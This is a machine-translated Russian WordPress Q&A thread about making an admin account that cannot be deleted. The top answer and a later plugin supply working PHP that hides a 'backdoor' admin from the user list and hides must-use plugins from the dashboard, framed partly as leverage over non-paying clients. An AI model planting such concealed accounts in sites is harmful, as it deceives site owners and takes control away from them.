Создайте un-removeable пользователя

Как я могу добавить пользователя Wordpress, который не может быть удален (по всей стоимости, даже суперадминистратором) с некоторым кодом? Я ничего не могу найти на Google о такой учетной записи бога.

Этим утром клиент нашей компании удалил учетную запись основного администратора и удалил все содержание веб-сайтов. Мы смогли восстановить веб-сайт с резервным копированием, но я хотел бы предотвратить эту проблему в будущем.

4
12.09.2013, 18:29
4 ответа

В то время как Вы не можете гарантировать абсолютную безопасность этого пользователя, я использовал это для сокрытия моего закулисного пользователя (полезный для клиентов, которые агрессивны в удалении пользователей, все же может забыть оплачивать их счет, например),

add_action('pre_user_query','sleeper_pre_user_query');
function sleeper_pre_user_query($user_search) {
    global $current_user;
    $username = $current_user->user_login;

    if ($username != 'my_secret_admin_user') { 
        global $wpdb;
        $user_search->query_where = 
        str_replace(
            'WHERE 1=1', 
            "WHERE 1=1 AND {$wpdb->users}.user_login !=
            'my_secret_admin_user'",$user_search->query_where
        );
    }
}

Я назвал бы функцию чем-то приземленное звучание, мог бы хотеть, чтобы Ваш пользователь был приземленным также. Код препятствует тому, чтобы любой другой пользователь видел, что пользователь в администраторе перечисляет.

6
19.02.2020, 22:09
  • 1
    мне нравится Ваш образ мыслей! Я собираюсь протестировать этот небольшой "взлом" и сообщить, работает ли он как Вы указанный. –  Cas 12.09.2013, 16:36
  • 2
    Надеяние, что у злого пользователя нет MySQL или доступа ;) +1 –  gmazzap♦ 12.09.2013, 16:42
  • 3
    +1 FTP, Возможно, необходимо также попытаться понизить пользователя, включает Administrator (2), могло бы выглядеть подозрительным иметь только 1 видимый, но количество говорит, что 2 ;-) –  birgire 12.09.2013, 16:46
  • 4
    Необходимость плагин Использования может использоваться для сокрытия других плагинов (и оно). @CasvanDongen –  brasofilo 12.09.2013, 18:31

Кажется, нет способа прервать процесс удаления в wp_delete_user() функция, которая выполняет его. Однако в WordPress во время выполнения осуществляет (естественно) проверку возможности перед удалением:

if ( ! current_user_can( 'delete_user', $id ) )
        wp_die(__( 'You can’t delete that user.' ) );

Это передает $id из удаляемого пользователя, таким образом, необходимо смочь быть нацеленными на него в одном из фильтров, имеющих дело с ограничениями, вероятно, вокруг user_has_cap или map_meta_cap (Я ничего не сделал там в некоторое время, так не может придумать точный код сверху моей головы).

2
19.02.2020, 22:09

Рычаг load-$pagenow может использоваться также. При помещении его в необходимость плагин Использования предотвращает свою деактивацию. И добавляя простой фильтр, мы можем скрыть MUs от появления в панели инструментов (здесь, более подробная техника).

<?php
/*
    Plugin Name: Cannot delete user
    Description: Blocks the deletion of the user with ID == (adjust bellow)
    Author: brasofilo
    Plugin URI: https://wordpress.stackexchange.com/q/113907/12615
    Requires: PHP 5.3+
*/
add_filter( 'show_advanced_plugins', '__return_false' );

add_action( 'load-users.php', function() 
{
    # Not a delete screen, do nothing
    if( !isset( $_REQUEST['action'] ) || 'delete' != $_REQUEST['action'] )
        return;

    # User(s) not set, do nothing
    if( !isset( $_REQUEST['user'] ) && !isset( $_REQUEST['users'] ) )
        return;

    # Single user - adjust ID
    if( isset( $_REQUEST['user'] ) && 'USER_ID' == $_REQUEST['user'] )
        wp_die(
            'Cannot delete this user.', 
            'Error',  
            array( 'response' => 500, 'back_link' => true )
        );  

    # Bulk users - adjust ID
    if( isset( $_REQUEST['users'] ) && in_array( 'USER_ID', $_REQUEST['users'] ) )
        wp_die(
            'Cannot delete this user.', 
            'Error',  
            array( 'response' => 500, 'back_link' => true )
        );  
});
1
19.02.2020, 22:09

Как @toscho указанный в комментарии. Неудаляемый пользователь не возможен. То, что я лично использую, является сценарием SysBot, который я размещаю на GitHub как Суть. Вариант использования для меня обычно состоит в том, чтобы отображать сообщения, которые я генерирую от удаленных источников до пользователя, когда входящие удаленные данные не содержат ничего, что я мог отобразить на существующего пользователя.

Вы могли пойти один шаг вперед и

  • Перенаправление каждый раз, когда этот пользователи представляют страницу, требуют
  • Удалите ссылки на пользовательский профиль с помощью столбцов типа сообщения, просачивается таблицы списка
  • Измените Быстрые ссылки Редактирования для предотвращения удаления этого пользователя

Если пользователь все еще будет удален однажды, то это будет немедленно воссоздано во время загрузки страницы. То же идет для изменения его информации о рядовом пользователе.

1
19.02.2020, 22:09

Теги

Похожие вопросы